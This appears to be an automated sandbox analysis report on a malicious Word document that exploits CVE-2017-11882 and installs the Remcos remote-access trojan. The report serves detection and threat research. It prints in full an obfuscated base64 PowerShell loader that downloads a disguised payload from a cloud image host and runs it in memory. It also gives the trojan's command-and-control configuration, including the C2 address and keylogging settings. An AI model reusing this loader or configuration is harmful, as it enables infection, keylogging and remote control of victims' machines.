                Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodes, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG
                Sigma detected: Office Macro File Creation
                Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3256, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
                Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
                Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3532, TargetFilename: C:\Users\user\AppData\Local\Temp\ossmmxa3.qle.ps1

                Stealing of Sensitive Information

                barindex
                Sigma detected: Remcos
                Source: Registry Key setAuthor: Joe Security: Data: Details: AA E0 D9 DB 03 3B 7E 80 13 52 DF 60 41 52 24 78 0A 6F BA 46 D5 EF B3 B1 04 64 94 99 97 52 A2 9D B8 3A 4E 6E 33 09 FB CA BA FE F0 89 D2 5E 57 3C 0F 43 3A 23 47 0C 13 D7 04 81 7A 18 2E 37 42 26 F1 97 AC 23 B8 61 BD 93 CC 7E 4B 19 11 9D D8 A7 F3 1C 9F AF 27 AB B7 9A A6 D7 B4 BC 7D EC 8E 41 09 FB 7E 8E 04 84 CB 34 18 D7 C2 9E F5 96 01 24 E9 13 , EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, ProcessId: 3756, TargetObject: HKEY_CURRENT_USER\Software\Rmc-Q9T2QD\exepath

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-07T15:51:01.947801+010020204251Exploit Kit Activity Detected87.106.161.21980192.168.2.2249163TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-07T15:51:01.947801+010020204241Exploit Kit Activity Detected87.106.161.21980192.168.2.2249163TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-07T15:50:37.506112+010020365941Malware Command and Control Activity Detected192.168.2.2249173216.9.226.1003898TCP
                2024-12-07T15:51:25.123287+010020365941Malware Command and Control Activity Detected192.168.2.2249164216.9.226.1003898TCP
                2024-12-07T15:51:48.154971+010020365941Malware Command and Control Activity Detected192.168.2.2249165216.9.226.1003898TCP
                2024-12-07T15:52:11.202583+010020365941Malware Command and Control Activity Detected192.168.2.2249166216.9.226.1003898TCP
                2024-12-07T15:52:34.218741+010020365941Malware Command and Control Activity Detected192.168.2.2249167216.9.226.1003898TCP
                2024-12-07T15:52:57.422240+010020365941Malware Command and Control Activity Detected192.168.2.2249168216.9.226.1003898TCP
                2024-12-07T15:53:20.596602+010020365941Malware Command and Control Activity Detected192.168.2.2249169216.9.226.1003898TCP
                2024-12-07T15:53:43.719730+010020365941Malware Command and Control Activity Detected192.168.2.2249170216.9.226.1003898TCP
                2024-12-07T15:54:07.142320+010020365941Malware Command and Control Activity Detected192.168.2.2249171216.9.226.1003898TCP
                2024-12-07T15:54:30.314421+010020365941Malware Command and Control Activity Detected192.168.2.2249172216.9.226.1003898TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-07T15:50:37.506112+010020576351A Network Trojan was detected87.106.161.21980192.168.2.2249163TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-07T15:50:47.732854+010020490381A Network Trojan was detected151.101.65.137443192.168.2.2249162TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-07T15:50:37.506112+010028582951A Network Trojan was detected87.106.161.21980192.168.2.2249163TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus / Scanner detection for submitted sample
                Source: atthings.docAvira: detected
                Antivirus detection for URL or domain
                Source: http://87.106.161.219/654/givemebestthingswithgreatentierymatterofgood.tiFFAvira URL Cloud: Label: malware
                Antivirus detection for dropped file
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{189D8A76-D158-4346-85E4-095DEA834189}.tmpAvira: detection malicious, Label: EXP/CVE-2017-11882.Gen
                Found malware configuration
                Source: 00000008.00000002.887359657.00000000005E5000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": ["216.9.226.100:3898:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-Q9T2QD", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "mic"}
                Multi AV Scanner detection for submitted file
                Source: atthings.docReversingLabs: Detection: 52%
                Yara detected Remcos RAT
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.887359657.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3756, type: MEMORYSTR
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0043293A CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,8_2_0043293A
                Source: powershell.exe, 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_9106b319-8

                Exploits

                barindex
                Yara detected UAC Bypass using CMSTP
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3756, type: MEMORYSTR
                Office equation editor establishes network connection
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXENetwork connect: IP: 87.106.161.219 Port: 80Jump to behavior
                Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exeJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

                Privilege Escalation

                barindex
                Contains functionality to bypass UAC (CMSTPLUA)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00406764 _wcslen,CoGetObject,8_2_00406764
                Source: unknownHTTPS traffic detected: 151.101.65.137:443 -> 192.168.2.22:49162 version: TLS 1.0
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000006.00000002.412316088.0000000000990000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.PdbWriter+b source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000006.00000002.412316088.0000000000990000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000006.00000002.412316088.0000000000990000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,8_2_0040B335
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,8_2_0041B42F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,8_2_0040B53A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0044D5E9 FindFirstFileExA,8_2_0044D5E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,8_2_004089A9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00406AC2 FindFirstFileW,FindNextFileW,8_2_00406AC2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,8_2_00407A8C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,8_2_00418C69
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,8_2_00408DA7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,8_2_00406F06

                Software Vulnerabilities

                barindex
                Document exploit detected (process start blacklist hit)
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                Shellcode detected
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035606D3 URLDownloadToFileW,ShellExecuteW,ExitProcess,2_2_035606D3
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_03560610 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,2_2_03560610
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_03560701 ShellExecuteW,ExitProcess,2_2_03560701
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0356051B ExitProcess,2_2_0356051B
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_03560726 ExitProcess,2_2_03560726
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035606EC ShellExecuteW,ExitProcess,2_2_035606EC
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0356062A URLDownloadToFileW,ShellExecuteW,ExitProcess,2_2_0356062A
                Suspicious execution chain found
                Source: C:\Windows\SysWOW64\wscript.exeChild: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                Source: global trafficDNS query: name: res.cloudinary.com
                Source: global trafficDNS query: name: res.cloudinary.com
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49161 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 87.106.161.219:80
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
                Source: global trafficTCP traffic: 192.168.2.22:49162 -> 151.101.65.137:443
